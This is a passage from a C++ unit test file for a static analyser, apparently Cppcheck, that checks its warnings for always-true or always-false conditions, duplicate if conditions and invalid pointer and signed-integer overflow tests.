[knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x >= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x < -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x <= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<=-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 7) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>7' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 9) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 10) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11100\n check(\"struct T {\\n\"\n \" bool m{};\\n\"\n \" void f(bool b);\\n\"\n \" bool get() const { return m; }\\n\"\n \" void set(bool v) { m = v; }\\n\"\n \"};\\n\"\n \"void T::f(bool b) {\\n\"\n \"\tbool tmp = get();\\n\"\n \"\tset(b);\\n\"\n \"\tif (tmp != get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9541\n check(\"int f(int pos, int a) {\\n\"\n \" if (pos <= 0)\\n\"\n \" pos = 0;\\n\"\n \" else if (pos < a)\\n\"\n \" if(pos > 0)\\n\"\n \" --pos;\\n\"\n \" return pos;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:16]: (style) Condition 'pos>0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9721\n check(\"void f(int x) {\\n\"\n \" if (x > 127) {\\n\"\n \" if ( (x>255) || (-128>x) )\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:30]: (style) Condition '-128>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8778\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 19; ++i)\\n\"\n \" if(i<=18) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'i<=18' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8209\n check(\"void f() {\\n\"\n \" for(int x = 0; x < 3; ++x)\\n\"\n \" if(x == -5) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'x==-5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8407\n check(\"int f(void) {\\n\"\n \" for(int i = 0; i <1; ++i)\\n\"\n \" if(i == 0) return 1; \\n\" // <<\n \" else return 0;\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'i==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned int u1, unsigned int u2) {\\n\"\n \" if (u1 <= 10 && u2 >= 20) {\\n\"\n \" if (u1 != u2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:16]: (style) Condition 'u1!=u2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10544\n check(\"void f(int N) {\\n\"\n \" if (N > 0) {\\n\"\n \" while (N)\\n\"\n \" N = test();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11098\n check(\"void f(unsigned int x) { if (x == -1u) {} }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int *p, const int *q) {\\n\"\n \" return p != NULL && q != NULL && p == NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (style) Return value 'p==NULL' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #11789\n \" std::vector v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" int j = i - v.size();\\n\"\n \" if (j >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12039\n \" if ((128 + i < 255 ? 128 + i : 255) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12727\n \" bool f() const {\\n\"\n \" return g() > 0;\\n\"\n \" }\\n\"\n \" std::size_t g() const {\\n\"\n \" return 5 - h();\\n\"\n \" }\\n\"\n \" std::size_t h() const {\\n\"\n \" if (x > 7)\\n\"\n \" return 5;\\n\"\n \" return (5 + x) % 5;\\n\"\n \" }\\n\"\n \" std::size_t x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueContainer() {\n // #9329\n check(\"void c1(std::vector&);\\n\"\n \"void c2(std::vector&);\\n\"\n \"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void g();\\n\"\n \" void f(bool b) {\\n\"\n \" v.clear();\\n\"\n \" g();\\n\"\n \" return !v.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10409\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s == \\\"ab\\\" ) return;\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s != \\\"ab\\\" )\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10226\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw 0;\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'it!=vector.end()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11303\n check(\"void f(int n) {\\n\"\n \" std::vector buffer(n);\\n\"\n \" if(buffer.back() == 0 ||\\n\"\n \" buffer.back() == '\\\\n' ||\\n\"\n \" buffer.back() == '\\\\0') {}\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Condition 'buffer.back()=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (style) Condition 'buffer.back()=='\\\\0'' is always false\\n\", errout_str());\n }\n\n // #9353\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", \"\", errout_str());\n\n // #10508\n check(\"bool f(const std::string& a, const std::string& b) {\\n\"\n \" return a.empty() || (b.empty() && a.empty());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:2:46]: (style) Return value 'a.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" struct iterator;\\n\"\n \" iterator begin() const;\\n\"\n \" iterator end() const;\\n\"\n \"};\\n\"\n \"A g();\\n\"\n \"void f(bool b) {\\n\"\n \" std::set s;\\n\"\n \" auto v = g();\\n\"\n \" s.insert(v.begin(), v.end());\\n\"\n \" if(!b && s.size() != 1)\\n\"\n \" return;\\n\"\n \" if(!s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::string s) {\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" s += '\\\\n';\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(std::string& p) {\\n\"\n \" const std::string d{ \\\"abc\\\" };\\n\"\n \" p += d;\\n\"\n \" if(p.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (style) Condition 'p.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int i, FILE* fp) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" s += std::to_string(i);\\n\"\n \" s += \\\"\\\\n\\\";\\n\"\n \" return fwrite(s.c_str(), 1, s.length(), fp) == s.length();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #9148\n \" if (s.empty() || s.size() < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:2:31]: (style) Condition 's.size()<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void bar(std::vector& vv) {\\n\" // #11464\n \" class F {\\n\"\n \" public:\\n\"\n \" F(int, std::vector& lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" private:\\n\"\n \" std::vector& mV;\\n\"\n \" } fi(1, vv);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::vector v;\\n\"\n \" bar(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct F {\\n\"\n \" F(int, std::vector&lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" std::vector& mV;\\n\"\n \"};\\n\"\n \"void g(std::vector& vv) {\\n\"\n \" F(1, vv);\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" g(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueLoop()\n {\n check(\"long foo() {\\n\"\n \" bool bUpdated = false;\\n\"\n \" long Ret{};\\n\"\n \" do {\\n\"\n \" Ret = bar();\\n\"\n \" if (Ret == 0) {\\n\"\n \" if (bUpdated)\\n\"\n \" return 1;\\n\"\n \" bUpdated = true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" bUpdated = false;\\n\"\n \" }\\n\"\n \" while (bUpdated);\\n\"\n \" return Ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo() {\\n\"\n \" bool bFirst = true;\\n\"\n \" do {\\n\"\n \" if (bFirst)\\n\"\n \" bar();\\n\"\n \" if (baz())\\n\"\n \" break; \\n\"\n \" bFirst = false;\\n\"\n \" } while (true);\\n\"\n \" return bFirst;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void * pool = NULL;\\n\"\n \" do {\\n\"\n \" pool = malloc(40);\\n\"\n \" if (dostuff())\\n\"\n \" break;\\n\"\n \" pool = NULL;\\n\"\n \" }\\n\"\n \" while (0);\\n\"\n \" if (pool) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8499\n check(\"void f(void)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 2; ++i)\\n\"\n \" {\\n\"\n \" for (int j = 0; j < 8; ++j)\\n\"\n \" {\\n\"\n \" if ( (i==0|| i==1)\\n\" // << always true\n \" && (j==0) )\\n\"\n \" {;}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:20] -> [test.cpp:7:27]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10863\n check(\"void f(const int A[], int Len) {\\n\"\n \" if (Len <= 0)\\n\"\n \" return;\\n\"\n \" int I = 0;\\n\"\n \" while (I < Len) {\\n\"\n \" int K = I + 1;\\n\"\n \" for (; K < Len; K++) {\\n\"\n \" if (A[I] != A[K])\\n\"\n \" break;\\n\"\n \" } \\n\"\n \" I = K; \\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11434\n \" const int N = 5;\\n\"\n \" bool a[N];\\n\"\n \" for (int i = 0; i < N; a[i++] = false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8192\n \" for (int i = 0; i > 10; ++i) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Condition 'i>10' is always false\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int i = 1000; i < 20; ++i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Condition 'i<20' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int foo(int foo, int bar, bool baz, bool flag) {\\n\"\n \" if (baz && flag) {\\n\"\n \" do {\\n\"\n \" if (bar==42)\\n\"\n \" return 0;\\n\"\n \" } while (flag);\\n\"\n \" }\\n\"\n \" return foo;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:6:18]: (style) Condition 'flag' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueTryCatch()\n {\n check(\"void g();\\n\"\n \"void f(int x)\\n\"\n \"{\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \" catch(...) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" g();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void h();\\n\"\n \"void f(int x) {\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" catch( ... ) {}\\n\"\n \" }\\n\"\n \" h();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10701\n \" std::string s;\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" s = g();\\n\"\n \" }\\n\"\n \" catch (const Err& err) {}\\n\"\n \" }\\n\"\n \" catch (const std::exception& e) {}\\n\"\n \" if (s != \\\"abc\\\") {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void multiConditionAlwaysTrue() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if (val > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val > 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Condition 'activate' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) Condition 'foo' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6904\n check(\"void f() {\\n\"\n \" const int b[2] = { 1,0 };\\n\"\n \" if(b[1] == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'b[1]==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9878\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && b){;}\\n\"\n \" else if (!a && b){;}\\n\"\n \" else if (!a && !b){;}\\n\"\n \" else {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateCondition() {\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:8]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:10]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x != 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" g();\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) { x++; }\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8996\n check(\"void g(int** v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" int* d[] = {&a, &b};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9311\n check(\"struct c {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(struct c* v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" struct c d[] = {{&a}, {&b}};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8993\n check(\"void f(const std::string& x) {\\n\"\n \" auto y = x;\\n\"\n \" if (x.empty()) y = \\\"1\\\";\\n\"\n \" if (y.empty()) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9106\n check(\"struct A {int b;};\\n\"\n \"void f(A a, int c) {\\n\"\n \" if (a.b) a.b = c;\\n\"\n \" if (a.b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void c();\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" c();\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" a = 2;\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:9:14]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" auto g = [&] { b = !a; };\\n\"\n \" if (b)\\n\"\n \" g();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool& a);\\n\"\n \"void f(bool b) {\\n\"\n \" auto h = std::bind(&g, std::ref(b));\\n\"\n \" if (b)\\n\"\n \" h();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *i) {\\n\"\n \" if (*i == 0) {\\n\"\n \" *i = 1;\\n\"\n \" }\\n\"\n \" if (*i == 0) {\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(std::function);\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto x = [&v] { v.push_back(1); };\\n\"\n \" if(v.empty()) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \" if(v.empty())\\n\"\n \" return;\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(const S& s) {\\n\"\n \" int a = 0, b = 0;\\n\"\n \" if (s.i == 0)\\n\"\n \" a = 1;\\n\"\n \" if (s.i == 0)\\n\"\n \" b = 1;\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:13]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"void f(double d) {\\n\" // #12712\n \" if (std::isfinite(d)) {}\\n\"\n \" if (std::isfinite(d)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:22]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #12391\n \"int f(const struct S* a, const struct S* b) {\\n\"\n \" const struct S* p = b;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" return p->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // do not crash\n check(\"void assign(const MMA& other) {\\n\"\n \" if (mPA.cols != other.mPA.cols || mPA.rows != other.mPA.rows)\\n\"\n \" ;\\n\"\n \" if (other.mPA.cols > 0 && other.mPA.rows > 0)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #11202\n \" float f = 0x1.4p+3;\\n\"\n \" if (f > 10.0) {}\\n\"\n \" if (f < 10.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidTestForOverflow() {\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert((p + x) < p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)= p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)>=p'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p > (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p>(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always false. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p <= (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p<=(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(signed int x) {\\n\" // unsigned overflow => don't warn\n \" assert(x + 100U < x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // x + c < x\n\n#define MSG(EXPR, RESULT) \"[test.cpp:1:30]: (warning) Invalid test for overflow '\" EXPR \"'; signed integer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always \" RESULT \". [invalidTestForOverflow]\\n\"\n\n check(\"int f(int x) { return x + 10 > x; }\");\n ASSERT_EQUALS(MSG(\"x+10>x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x+10>=x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x+10 x; }\");\n ASSERT_EQUALS(MSG(\"x-10>x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x-10>=x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x-10 x; }\");\n ASSERT_EQUALS(MSG(\"x+y>x\", \"y>0\"), errout_str());\n\n check(\"int f(int x, int y) { return x + y >= x; }\");\n ASSERT_EQUALS(MSG(\"x+y>=x\", \"y>=0\"), errout_str());\n\n // x - y < x\n check(\"int f(int x, int y) { return x - y < x; }\");\n ASSERT_EQUALS(MSG(\"x-y0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y <= x; }\");\n ASSERT_EQUALS(MSG(\"x-y<=x\", \"y>=0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y > x; }\");\n ASSERT_EQUALS(MSG(\"x-y>x\", \"y<0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y >= x; }\");\n ASSERT_EQUALS(MSG(\"x-y>=x\", \"y<=0\"), errout_str());\n }\n\n void checkConditionIsAlwaysTrueOrFalseInsideIfWhile() {\n check(\"void f() {\\n\"\n \" enum states {A,B,C};\\n\"\n \" const unsigned g_flags = B|C;\\n\"\n \" if(g_flags & A) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) Condition 'g_flags&A' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" if(a) {}\\n\"\n \"}\");\n 